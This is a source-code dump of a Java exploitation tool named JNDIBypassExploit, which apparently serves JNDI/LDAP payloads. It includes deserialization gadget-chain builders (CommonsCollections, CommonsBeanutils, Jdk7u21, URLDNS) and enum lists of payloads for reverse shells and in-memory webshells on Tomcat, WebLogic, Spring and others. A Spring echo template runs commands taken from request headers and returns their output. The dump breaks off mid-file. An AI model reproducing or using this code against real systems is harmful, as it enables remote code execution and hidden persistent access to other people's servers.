├── target
├── maven-archiver
│ └── pom.properties
└── maven-status
│ └── maven-compiler-plugin
│ └── compile
│ └── default-compile
│ ├── createdFiles.lst
│ └── inputFiles.lst
├── src
├── test
│ └── java
│ │ └── test.groovy
└── main
│ └── java
│ └── com
│ └── feihong
│ └── ldap
│ ├── enumtypes
│ ├── WebsphereActionType.java
│ ├── GadgetType.java
│ └── PayloadType.java
│ ├── template
│ ├── Template.java
│ ├── isOK.java
│ ├── MyClassLoader.java
│ ├── SpringEchoTemplate.java
│ ├── SpringMemshellTemplate.java
│ ├── WeblogicEchoTemplate.java
│ ├── JBossMemshellTemplate.java
│ ├── DynamicInterceptorTemplate.java
│ ├── DynamicFilterTemplate.java
│ ├── TomcatMemshellTemplate1.java
│ ├── TomcatEchoTemplate.java
│ ├── CommandTemplate.java
│ ├── DnslogTemplate.java
│ ├── WeblogicMemshellTemplate2.java
│ ├── JettyMemshellTemplate.java
│ ├── WebsphereMemshellTemplate.java
│ ├── ReverseShellTemplate.java
│ ├── WeblogicMemshellTemplate1.java
│ └── TomcatMemshellTemplate2.java
│ ├── exceptions
│ ├── UnSupportedGadgetTypeException.java
│ ├── IncorrectParamsException.java
│ ├── UnSupportedActionTypeException.java
│ └── UnSupportedPayloadTypeException.java
│ ├── controllers
│ ├── LdapMapping.java
│ ├── PropertiesRefAddr.java
│ ├── LdapController.java
│ ├── GroovyBypassController.java
│ ├── SerializedDataController.java
│ ├── BasicController.java
│ └── WebsphereBypassController.java
│ ├── Starter.java
│ ├── gadgets
│ ├── utils
│ │ ├── Util.java
│ │ ├── ClassFiles.java
│ │ ├── Reflections.java
│ │ └── Gadgets.java
│ ├── Jdk7u21.java
│ ├── URLDNS.java
│ ├── CommonsCollectionsK2.java
│ ├── CommonsCollectionsK1.java
│ ├── CommonsBeanutils1.java
│ ├── CommonsBeanutils2.java
│ ├── C3P0.java
│ ├── CVE_2020_2555.java
│ ├── CVE_2020_2883.java
│ └── Jre8u20.java
│ ├── utils
│ ├── MyURLClassLoader.java
│ ├── Util.java
│ ├── Cache.java
│ └── Config.java
│ ├── LdapServer.java
│ └── LDAPRefServer.java
└── .gitignore
/target/maven-archiver/pom.properties:
--------------------------------------------------------------------------------
1 | artifactId=JNDIBypassExploit
2 | groupId=org.example
3 | version=1.4-SNAPSHOT
4 |
--------------------------------------------------------------------------------
/src/test/java/test.groovy:
--------------------------------------------------------------------------------
1 | class test {
2 | String[] s = new String[[]]
3 | static void main(String[] args) {
4 |
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum WebsphereActionType {
4 | list,
5 | upload,
6 | rce;
7 | }
8 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/Template.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | public interface Template {
4 | void generate();
5 | byte[] getBytes();
6 | void cache();
7 | String getClassName();
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedGadgetTypeException extends RuntimeException {
4 | public UnSupportedGadgetTypeException(){ super();}
5 | public UnSupportedGadgetTypeException(String message){
6 | super(message);
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class IncorrectParamsException extends RuntimeException {
4 | public IncorrectParamsException(){
5 | super();
6 | }
7 | public IncorrectParamsException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/GadgetType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum GadgetType {
4 | urldns,
5 | commonsbeanutils1,
6 | commonsbeanutils2,
7 | commonscollectionsk1,
8 | commonscollectionsk2,
9 | jdk7u21,
10 | jre8u20,
11 | c3p0,
12 | cve_2020_2555,
13 | cve_2020_2883;
14 | }
15 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/isOK.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | /**
4 | * @ClassName: isOK
5 | * @Description: TODO
6 | * @Author: Summer
7 | * @Date: 2021/8/1 16:40
8 | * @Version: v1.0.0
9 | * @Description:
10 | **/
11 | public class isOK {
12 | public isOK(){
13 | System.out.println("sucess");
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedActionTypeException extends RuntimeException{
4 | public UnSupportedActionTypeException(){
5 | super();
6 | }
7 | public UnSupportedActionTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedPayloadTypeException extends RuntimeException {
4 | public UnSupportedPayloadTypeException(){
5 | super();
6 | }
7 | public UnSupportedPayloadTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/MyClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | public class MyClassLoader extends ClassLoader {
4 | MyClassLoader(ClassLoader c){super(c);}
5 |
6 |
7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){
8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapMapping.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target(ElementType.TYPE)
10 | public @interface LdapMapping {
11 | String[] uri();
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/PayloadType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum PayloadType {
4 | command,
5 | dnslog,
6 | reverseshell,
7 | tomcatecho,
8 | springecho,
9 | weblogicecho,
10 | tomcatmemshell1,
11 | tomcatmemshell2,
12 | tomcatmemshell3,
13 | weblogicmemshell1,
14 | weblogicmemshell2,
15 | jettymemshell,
16 | jbossmemshell,
17 | webspherememshell,
18 | springmemshell;
19 |
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/Starter.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap;
2 |
3 | import com.feihong.ldap.utils.Config;
4 | import javassist.CannotCompileException;
5 | import javassist.NotFoundException;
6 |
7 | import java.io.IOException;
8 |
9 | public class Starter {
10 | public static void main(String[] args) throws IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
11 | Config.applyCmdArgs(args);
12 | LdapServer.start();
13 |
14 | HTTPServer.start();
15 | // LDAPRefServer.main();
16 | // RMIRefServer.main();
17 |
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java:
--------------------------------------------------------------------------------
1 | package com.ibm.websphere.client.factory.jdbc;
2 |
3 | import javax.naming.RefAddr;
4 | import java.util.Properties;
5 |
6 | //this is a stub class required by WebSphere2 ldap handler
7 | public class PropertiesRefAddr extends RefAddr {
8 | private static final long serialVersionUID = 288055886942232156L;
9 | private Properties props;
10 |
11 | public PropertiesRefAddr(String addrType, Properties props) {
12 | super(addrType);
13 | this.props = props;
14 | }
15 |
16 | public Object getContent() {
17 | return this.props;
18 | }
19 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.exceptions.IncorrectParamsException;
4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 |
9 | public interface LdapController {
10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
12 | }
13 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ### MySelf
2 | .idea
3 | build/
4 | gradle
5 | gradlew
6 | gradlew.bat
7 |
8 | .gradle
9 | !gradle/wrapper/gradle-wrapper.jar
10 | !**/src/main/**/build/
11 | !**/src/test/**/build/
12 |
13 | ### IntelliJ IDEA ###
14 | .idea/modules.xml
15 | .idea/jarRepositories.xml
16 | .idea/compiler.xml
17 | .idea/libraries/
18 | *.iws
19 | *.iml
20 | *.ipr
21 | out/
22 | !**/src/main/**/out/
23 | !**/src/test/**/out/
24 |
25 | ### Eclipse ###
26 | .apt_generated
27 | .classpath
28 | .factorypath
29 | .project
30 | .settings
31 | .springBeans
32 | .sts4-cache
33 | bin/
34 | !**/src/main/**/bin/
35 | !**/src/test/**/bin/
36 |
37 | ### NetBeans ###
38 | /nbproject/private/
39 | /nbbuild/
40 | /dist/
41 | /nbdist/
42 | /.nb-gradle/
43 |
44 | ### VS Code ###
45 | .vscode/
46 |
47 | ### Mac OS ###
48 | .DS_Store
49 |
50 | # Compiled class file
51 | *.class
52 |
53 | # Log file
54 | *.log
55 |
56 | # BlueJ files
57 | *.ctxt
58 |
59 | # Mobile Tools for Java (J2ME)
60 | .mtj.tmp/
61 |
62 | # Package Files #
63 | *.jar
64 | *.war
65 | *.nar
66 | *.ear
67 | *.zip
68 | *.tar.gz
69 | *.rar
70 |
71 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
72 | hs_err_pid*
73 | replay_pid*
74 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/utils/Util.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets.utils;
2 |
3 | public class Util {
4 | public static byte[] deleteAt(byte[] bs, int index) {
5 | int length = bs.length - 1;
6 | byte[] ret = new byte[length];
7 |
8 | if(index == bs.length - 1) {
9 | System.arraycopy(bs, 0, ret, 0, length);
10 | } else if(index < bs.length - 1) {
11 | for(int i = index; i < length; i++) {
12 | bs[i] = bs[i + 1];
13 | }
14 |
15 | System.arraycopy(bs, 0, ret, 0, length);
16 | }
17 |
18 | return ret;
19 | }
20 |
21 | public static byte[] addAtIndex(byte[] bs, int index, byte b) {
22 | int length = bs.length + 1;
23 | byte[] ret = new byte[length];
24 |
25 | System.arraycopy(bs, 0, ret, 0, index);
26 | ret[index] = b;
27 | System.arraycopy(bs, index, ret, index + 1, length - index - 1);
28 |
29 | return ret;
30 | }
31 |
32 | public static byte[] addAtLast(byte[] bs, byte b) {
33 | int length = bs.length + 1;
34 | byte[] ret = new byte[length];
35 |
36 | System.arraycopy(bs, 0, ret, 0, length-1);
37 | ret[length - 1] = b;
38 |
39 | return ret;
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets.utils;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 |
7 | public class ClassFiles {
8 | public static String classAsFile(final Class> clazz) {
9 | return classAsFile(clazz, true);
10 | }
11 |
12 | public static String classAsFile(final Class> clazz, boolean suffix) {
13 | String str;
14 | if (clazz.getEnclosingClass() == null) {
15 | str = clazz.getName().replace(".", "/");
16 | } else {
17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
18 | }
19 | if (suffix) {
20 | str += ".class";
21 | }
22 | return str;
23 | }
24 |
25 | public static byte[] classAsBytes(final Class> clazz) {
26 | try {
27 | final byte[] buffer = new byte[1024];
28 | final String file = classAsFile(clazz);
29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
30 | if (in == null) {
31 | throw new IOException("couldn't find '" + file + "'");
32 | }
33 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
34 | int len;
35 | while ((len = in.read(buffer)) != -1) {
36 | out.write(buffer, 0, len);
37 | }
38 | return out.toByteArray();
39 | } catch (IOException e) {
40 | throw new RuntimeException(e);
41 | }
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.utils.Util;
7 |
8 | import javax.xml.transform.Templates;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.ObjectOutputStream;
11 | import java.lang.reflect.InvocationHandler;
12 | import java.util.HashMap;
13 | import java.util.LinkedHashSet;
14 |
15 | public class Jdk7u21 {
16 |
17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
18 | final Object templates = Gadgets.createTemplatesImpl(type, param);
19 |
20 | String zeroHashCodeStr = "f5a5a608";
21 |
22 | HashMap map = new HashMap();
23 | map.put(zeroHashCodeStr, "foo");
24 |
25 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
26 | Reflections.setFieldValue(tempHandler, "type", Templates.class);
27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
28 |
29 | LinkedHashSet set = new LinkedHashSet(); // maintain order
30 | set.add(templates);
31 | set.add(proxy);
32 |
33 | Reflections.setFieldValue(templates, "_auxClasses", null);
34 | Reflections.setFieldValue(templates, "_class", null);
35 |
36 | map.put(zeroHashCodeStr, templates); // swap in real object
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(set);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.utils;
2 |
3 | import java.io.File;
4 | import java.lang.reflect.InvocationTargetException;
5 | import java.lang.reflect.Method;
6 | import java.net.MalformedURLException;
7 | import java.net.URL;
8 | import java.net.URLClassLoader;
9 |
10 | public class MyURLClassLoader {
11 | private URLClassLoader classLoader;
12 |
13 | public MyURLClassLoader(String jarName){
14 | try{
15 | classLoader = getURLClassLoader(jarName);
16 | }catch(MalformedURLException e){
17 | e.printStackTrace();
18 | }
19 | }
20 |
21 | public Class loadClass(String className) {
22 | try{
23 | //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils
24 | //为了避免这种情况,所以调用了 findClass 方法
25 | Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class});
26 | method.setAccessible(true);
27 | Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className});
28 | return clazz;
29 | } catch (NoSuchMethodException e) {
30 | e.printStackTrace();
31 | } catch (IllegalAccessException e) {
32 | e.printStackTrace();
33 | } catch (InvocationTargetException e) {
34 | e.printStackTrace();
35 | }
36 |
37 | return null;
38 | }
39 |
40 |
41 | private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException {
42 | String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName;
43 | File file = new File(path);
44 | URL url = file.toURI().toURL();
45 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
46 | return urlClassLoader;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/URLDNS.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.gadgets.utils.Reflections;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectOutputStream;
7 | import java.net.InetAddress;
8 | import java.net.URL;
9 | import java.net.URLConnection;
10 | import java.net.URLStreamHandler;
11 | import java.util.HashMap;
12 |
13 | public class URLDNS {
14 | public static byte[] getBytes(final String url) throws Exception {
15 |
16 | //Avoid DNS resolution during payload creation
17 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
18 | URLStreamHandler handler = new SilentURLStreamHandler();
19 |
20 | HashMap ht = new HashMap(); // HashMap that will contain the URL
21 | URL u = new URL(null, url, handler); // URL to use as the Key
22 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
23 |
24 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
25 |
26 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
27 | ObjectOutputStream oos = new ObjectOutputStream(baous);
28 | oos.writeObject(ht);
29 | byte[] bytes = baous.toByteArray();
30 | oos.close();
31 |
32 | return bytes;
33 | }
34 |
35 |
36 | static class SilentURLStreamHandler extends URLStreamHandler {
37 |
38 | protected URLConnection openConnection(URL u) throws IOException {
39 | return null;
40 | }
41 |
42 | protected synchronized InetAddress getHostAddress(URL u) {
43 | return null;
44 | }
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import org.apache.commons.collections4.functors.InvokerTransformer;
7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry;
8 | import org.apache.commons.collections4.map.LazyMap;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.FileOutputStream;
11 | import java.io.ObjectOutputStream;
12 | import java.util.HashMap;
13 | import java.util.Map;
14 |
15 | public class CommonsCollectionsK2 {
16 | public static void main(String[] args) throws Exception {
17 | byte[] bytes = getBytes(PayloadType.command, "calc");
18 | FileOutputStream fous = new FileOutputStream("4444.ser");
19 | fous.write(bytes);
20 | fous.close();
21 | }
22 |
23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
24 | Object tpl = Gadgets.createTemplatesImpl(type, param);
25 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
26 |
27 | HashMap innerMap = new HashMap();
28 | Map m = LazyMap.lazyMap(innerMap, transformer);
29 |
30 | Map outerMap = new HashMap();
31 | TiedMapEntry tied = new TiedMapEntry(m, tpl);
32 | outerMap.put(tied, "t");
33 | // clear the inner map data, this is important
34 | innerMap.clear();
35 |
36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(outerMap);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import org.apache.commons.collections.functors.InvokerTransformer;
7 | import org.apache.commons.collections.keyvalue.TiedMapEntry;
8 | import org.apache.commons.collections.map.LazyMap;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.FileOutputStream;
11 | import java.io.ObjectOutputStream;
12 | import java.util.HashMap;
13 | import java.util.Map;
14 |
15 | public class CommonsCollectionsK1 {
16 | public static void main(String[] args) throws Exception {
17 | byte[] bytes = getBytes(PayloadType.command, "calc");
18 | FileOutputStream fous = new FileOutputStream("out2222.ser");
19 | fous.write(bytes);
20 | fous.close();
21 | }
22 |
23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
24 | Object tpl = Gadgets.createTemplatesImpl(type, param);
25 |
26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
27 | HashMap innerMap = new HashMap();
28 | Map m = LazyMap.decorate(innerMap, transformer);
29 |
30 | Map outerMap = new HashMap();
31 | TiedMapEntry tied = new TiedMapEntry(m, tpl);
32 | outerMap.put(tied, "t");
33 | // clear the inner map data, this is important
34 | innerMap.clear();
35 |
36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(outerMap);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8 | import org.springframework.web.context.request.RequestAttributes;
9 | import org.springframework.web.context.request.RequestContextHolder;
10 | import org.springframework.web.context.request.ServletRequestAttributes;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 |
14 | public class SpringEchoTemplate extends AbstractTranslet {
15 | public String basicCmdShellPwd;
16 |
17 | public SpringEchoTemplate(){
18 | try{
19 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
20 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest();
21 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse();
22 |
23 | String cmd = httprequest.getHeader(basicCmdShellPwd);
24 | if (cmd == null){
25 | cmd = httprequest.getParameter(basicCmdShellPwd);
26 | }
27 |
28 | if(cmd != null && !cmd.isEmpty()){
29 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
30 | httpresponse.getWriter().println(res);
31 | }
32 | }catch(Exception e){
33 | e.printStackTrace();
34 | }
35 | }
36 |
37 | @Override
38 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
39 |
40 | }
41 |
42 | @Override
43 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
44 |
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.utils.MyURLClassLoader;
7 | import java.io.ByteArrayOutputStream;
8 | import java.io.FileOutputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.math.BigInteger;
11 | import java.util.Comparator;
12 | import java.util.PriorityQueue;
13 |
14 | public class CommonsBeanutils1 {
15 | public static void main(String[] args) throws Exception {
16 | byte[] bytes = getBytes(PayloadType.command, "calc");
17 | FileOutputStream fous = new FileOutputStream("333.ser");
18 | fous.write(bytes);
19 | fous.close();
20 | }
21 |
22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
23 | final Object templates = Gadgets.createTemplatesImpl(type, param);
24 | // mock method name until armed
25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar");
26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"});
28 |
29 |
30 | // create queue with numbers and basic comparator
31 | final PriorityQueue